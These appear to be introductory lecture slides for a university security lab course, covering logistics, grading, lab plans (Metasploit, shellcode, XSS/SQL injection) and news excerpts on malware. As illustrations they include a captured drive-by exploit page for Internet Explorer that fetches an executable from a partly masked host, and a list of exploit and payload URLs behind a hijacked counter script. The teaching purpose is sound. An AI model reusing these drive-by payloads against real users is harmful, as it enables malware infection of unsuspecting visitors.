ISA 564
SECURITY LAB

Class Mechanics

Angelos Stavrou, George Mason University
Course Mechanics

- **Course URL:**
  - [http://cs.gmu.edu/~astavrou/isa564_S09.html](http://cs.gmu.edu/~astavrou/isa564_S09.html)

- **Instructor – Angelos Stavrou**
  - **Email:** [astavrou@gmu.edu](mailto:astavrou@gmu.edu)
  - **Office:** Science and Tech II, 441
  - **Office Phone:** (703) 993-1659 & 3772
  - **Office Hours:** Wednesday 3:30 – 4:30pm,
    Wednesday 7:10 – 8:10pm, and by appointment
Course Mechanics

- **Course URL:**
  - [http://cs.gmu.edu/~astavrou/isa564_S09.html](http://cs.gmu.edu/~astavrou/isa564_S09.html)

- **TA – Haris Andrianakis**
  - **Email:** candrian@gmu.edu
  - **Office:** Lab in STII-460
  - **Office Hours:** Thursday 5:00pm – 7:00pm

- **TA – Eunjung Yoon**
  - **Email:** eyoon2@gmu.edu
  - **Office:** TA room in ST-II, 3rd floor
  - **Office Hours:** Monday 4:30pm – 6:30pm
Course Overview

- Provide hands-on experience with commodity software and their vulnerabilities in a live laboratory environment.

- Experiment with Attacks against Networks and Machines

- Defenses, Forensics and diagnostics for security

- Install and Test Defenses including Intrusion and anomaly detection Systems (IDS)

- Examine the functionality of Botnets, Malware, anti-virus, anti-spyware
Prerequisites

- **Courses**
  - No

- **Skills**
  - Familiar or comfortable with Linux
  - C and ASM knowledge is a plus
  - Willingness to invest time in the lab learning about exploits, defenses, and tools.
  - Being able to install programs and work in unix and windows environment
Course Topics (tentative)

- **Introduction**
  - Lab Environment, be able to run experiments at home

- **Software Vulnerabilities**
  - What are the popular attack targets?

- **Malware Design & Economics**
  - How, What, Why?

- **Network Attacks (Wireless & VoIP)**
  - Effectiveness, ease of deployment, traceability
Course Topics (tentative)

- Defenses I: Intrusion and Anomaly Detection
  - Capabilities, Ease of use, Limitations
- Defenses II: Traffic Analysis & Adaptive Firewalls
  - Can we characterize traffic inside an organization?
- Defenses III: Host-based Defenses
  - Host-based Containment architectures
  - Full Virtualization vs para-virtualization vs Lightweight Process Containers
- Other “Hot” Topics
  - Emerging infection vectors
  - Virtualization (OpenVZ, Linux Vservers)
  - Advanced malware (e.g., rootkits, botnets)
## Course Grading

<table>
<thead>
<tr>
<th>Activity</th>
<th>Duration (Weeks)</th>
<th>Grade</th>
</tr>
</thead>
<tbody>
<tr>
<td>Class participation</td>
<td></td>
<td>10%</td>
</tr>
<tr>
<td>Lab 1: Metasploit</td>
<td>1</td>
<td>5%</td>
</tr>
<tr>
<td>Lab 2: Malware &amp; Shellcode</td>
<td>2</td>
<td>10%</td>
</tr>
<tr>
<td>Lab 3: Network Attacks</td>
<td>2</td>
<td>10%</td>
</tr>
<tr>
<td>Lab 4: Traffic Analysis &amp; Intrusion Detection Systems</td>
<td>2</td>
<td>10%</td>
</tr>
<tr>
<td>Lab 5: Host-based Attack Containment Systems</td>
<td>2</td>
<td>10%</td>
</tr>
<tr>
<td>Lab 6: XSS/SQL Injection Attacks/Defenses</td>
<td>1</td>
<td>5%</td>
</tr>
<tr>
<td>Team Project (3-4 persons)</td>
<td>4</td>
<td>40%</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>14</strong></td>
<td><strong>100%</strong></td>
</tr>
</tbody>
</table>
Course Grading

- **Class Project (What Project? This is just a class...)**
  - Teams of 3-4 students working on the same topic
  - Project Topics will be available online
    - You can also propose your own

- **Research Project**

- **Study of an Existing System**

- **Requirements:**
  - Report at the end of the semester (30%)
  - In-class Presentation (10%)
  - Students vote for the best and worst project

- **No actual coding is required**
Course Policies

- **Academic integrity**
  - Read the GMU honor code
  - I want you to collaborate and ask questions, however…

- Unless otherwise noted, work turned in should reflect your independent capabilities
  - If unsure, note / cite sources and help

- Usually, no late submissions will be accepted
  - You will be given two weeks to submit your work
  - No penalty for documented emergency (e.g., medical) or by prior arrangement in special circumstances
Warning

- Policy on security experiments:
  - you may not break into machines that are not your own
  - you may not attempt to attack or subvert system security on machines not owned by you
  - you can collaborate but not copy or outsource your work
Class Survey

- Introduce yourself
  - Name / Enrolled program
    - Your advisor, if you are a PhD student
  - Background
    - Programming in Linux
    - If a PhD student, which year in the program
  - Personal experience
    - Security
  - Expected goal
    - Why you are interested in taking this course?
ISA 564
SECURITY LAB

Introduction
Motivation

- Internet malware remains a top threat
  - Malware: virus, worms, rootkits, spyware, bots…
Motivation

Slow And Silent Targeted Attacks On The Rise

Targeted, methodical attacks difficult to detect

Jan 08, 2009 | 03:29 PM

By Kelly Jackson Higgins
DarkReading

The most determined cybercriminals don’t necessarily work fast when they breach a network, and their infiltration is often silent and undetectable. But it’s this brand of “low and slow” targeted attack that can also be the most deadly, security experts say.

This is a methodical attack, where the attacker covers his tracks as he penetrates the network, sometimes ceasing the attack for days at a time to avoid raising suspicion. It’s typically a nearly invisible hack that isn’t discovered until it’s too late, after the bad guys have made off with valuable data and done serious damage. Security experts say IT and security managers need to be at the ready for these highly targeted attacks, which may be more common than once thought.

“IT used to be a ‘smash and grab,’ where criminals would see what they could get,” says Mike Rothman, senior vice president of strategy at eEyeDr undergoing. “Now the criminals we’re seeing are a lot more savvy than that and are using time to their advantage. They’re not leaving broken windows, broken couches... if they start shuffling through one drawer, they are careful to put everything back.”

Botnet Uses Inauguration To Fool Users Into Downloading Malware

Waledac Trojan turns PCs into botnet zombies, researchers say

Jan 20, 2009 | 04:44 PM

By Tim Wilson
DarkReading

Researchers today have been warning users to stay away from a malware-bearing attack that appears to come from Barack Obama’s Website.

According to a report from researchers at PandaLabs, the botnet-controlled, fast-flux operated malware campaign operates from a fake website that looks exactly like Obama’s site.

Researchers at Symantec say the attacks are an attempt to recruit zombies for the botnet known as Waledac, which many experts believe to be a reincarnation of the infamous Storm botnet.

The fake site attempts to bait users into clicking on a news link that says Barack Obama has refused to be president. “Barack Obama’s inauguration that was planned on 20th January 2009 is under the threat of failure,” the site says. “On the eve of Inauguration Day President-elect Barack Obama made a statement. He declared that he is definitely NOT ready for this position. Analysts say that Barack Obama has refused to be next president because he recognized…”
Types of Attacks

- Browser and Binary Malware:
  - Viruses, worms, and trojan horses
- Attacks by hijacking of authentication credentials
- Browser Exploits
- Denial of Service
- Data Ex-filtration
- E-mail attacks
- Active & Passive Traffic Analysis
- Voice over IP attacks
- Wireless attacks
- …
An Attack Incident Against IE Browser

- One Click on a malicious URL
  - http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html

- Result:

```html
<html><head><title></title></head><body>
<style>
* {CURSOR: url("http://vxxxxxxx.e.biz/adverts/033/sploit.anr")}
</style>

<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1>
<PARAM NAME='url' VALUE='http://vxxxxxxx.e.biz/adverts/033/win32.exe'></APPLET>

<script>
try{
document.write('"<object data=`&amp;#109&amp;#115&amp;#45&amp;#105&amp;#116&amp;#115&amp;#58
&amp;#109&amp;#104&amp;#116&amp;#109&amp;#108&amp;#58&amp;#102&amp;#105&amp;#108&amp;#101&amp;#58;
/C:\fo`'+'o.mht!`+http://vxxxxxxx.e.biz//adverts//033//targ.ch`+
`m://targ`+'&`et.htm` type=`text/x-scriptlet`">
</object>'+`ject`');
}catch(e){} </script>
</body></html>
```
An Attack Incident Against IE Browser

22 “unwanted” programs are installed without the user’s consent
Topology Graph of Malicious URLs

URL-level Topology Graph for WinXP SP1 Un-patched:
688 URLs from 270 sites
Motivation

Google Surveys Web for Malware

Google has surveyed billions of Web pages in an effort to determine the extent and nature of the online malware problem, which could affect the Internet-based company’s many users.

As part of its ongoing study, Google identified 4.5 million of the surveyed pages factors that indicated they could upload malicious code to a visitor’s computer. The company analyzed the pages’ HTML source code and also tested them to see how they affected computers.

“We confirmed infections on 450,000 pages,” said Google senior staff engineer Niels Provos. “By malware infection, we mean that a user on a vulnerable system could get malware on their computer without their consent just by visiting a Web page.”

“This software is often capable of recording the keystrokes that users make and then [capturing] sensitive information such as credit card numbers or bank accounts,” he noted.

Google found other malware that could hijack computers and turn them into zombies that a hacker could use remotely to attack other machines. Some of the more harmless infections alter user bookmarks, install toolbars, or change browser start pages.

Ed Skoudis, founder of Intel-guards, an information-security research and consulting company, said that Google found a higher percentage of pages with malware than most expected but that its findings appear to be correct.
Motivation

Example: Third-Party Code  

e.g. visit counter

```html
<!-- Begin Stat Basic code -->
<script language="JavaScript"
    src="http://m1.stat.xx/basic.js">
</script><script language="JavaScript">
<!--
    statbasic("ST8BiCCLfUdmAHKtah3InbhtwoWA", 0);
    // -->
</script> <noscript>
<a href="http://v1.stat.xx/stats?ST8BidmAHKtthtwoWA">
<img src="http://m1.stat.xx/n?id=ST8BidmAHKtthtwoWA"
    border="0" nosave width="18" height="18"></a></noscript>
<!-- End Stat Basic code -->
d.write("<scr"+"ipt language='JavaScript'
    type='text/javascript'
    src='http://m1.stats4u.yy/md.js?country=us&id="+ id +"
    &t="+(new Date()).getTime()+''></scr"+"ipt>")
http://expl.info/cgi-bin/ie0606.cgi?homepage
http://expl.info/demo.php
http://expl.info/cgi-bin/ie0606.cgi?type=MS03-11&SP1
http://expl.info/ms0311.jar
http://expl.info/cgi-bin/ie0606.cgi?exploit=MS03-11
http://dist.info/f94ms1rfum67dh/winus.exe
```
Course Focus

- Understanding essential techniques behind these attacks *offensively* and *defensively*

- Experiment with the tools, existing malware, and defensives

- Learn how to *use existing* or write your own *working* code!
Lab Environment

- **Attacker**
  - Virtual Machine 1

- **Victim**
  - Virtual Machine 2

Steps:
1. Target Probing
2. Vulnerability Exploitation
3. Payload
Lab Environment

- VMware-based VM images
  - VM1: Linux Debian
  - VM2: Windows 2000/Linux Debian

- Make sure VMware is installed
  - You may choose to install VMware Server in your own machine

- Bring a ≥2GB USB flash drive in Lab with you!
Lab 1 - Metasploit

1: Target Probing

2: Vulnerability Exploitation

3: Payload

Fixed Target

Remote Shell Creation

Attacker

Linux

Victim

Windows 2000

RPC-DCOM & LSASS
Lab 2 – Malware & Shellcode

1: Target Probing
2: Vulnerability Exploitation
3: Infect & Download Malware

Attacker

Linux

Victim
Lab 3 – Network Attacks

1: Target Probing

2: Vulnerability Exploitation

3: Target Service

Deny Service, Manipulate Service

Denial of Service & Session Hijacking

Attacker

Victim

Linux

Linux
Lab 4 – Traffic Analysis & IDSes
Lab 5 – Host-based Attack Containment
Lab 6 – XSS/SQL Injection

1: Target Probing
2: Vulnerability Exploitation

Fixed Target

3: Payload

Cookie Stealing, and Others ...

Attacker

Linux

Victim

Windows 2000

XSS/SQL Injection
New Lab Design

1: Target Probing

2: Vulnerability Exploitation

3: Payload

Your own choice

Attacker

Victim

Linux

Your choice
Lab Environment

- **Make sure VMware is installed**
  - You may choose to install VMware Server in your own machine

- **Play with VMware**
  - Example VM Images from the course webpage
  - Others:
    - [http://www.thoughtpolice.co.uk/vmware/](http://www.thoughtpolice.co.uk/vmware/)

- **Next Lecture**
  - Introduction to Malware Exploits
  - Lab 1: Metasploit
    - Be prepared!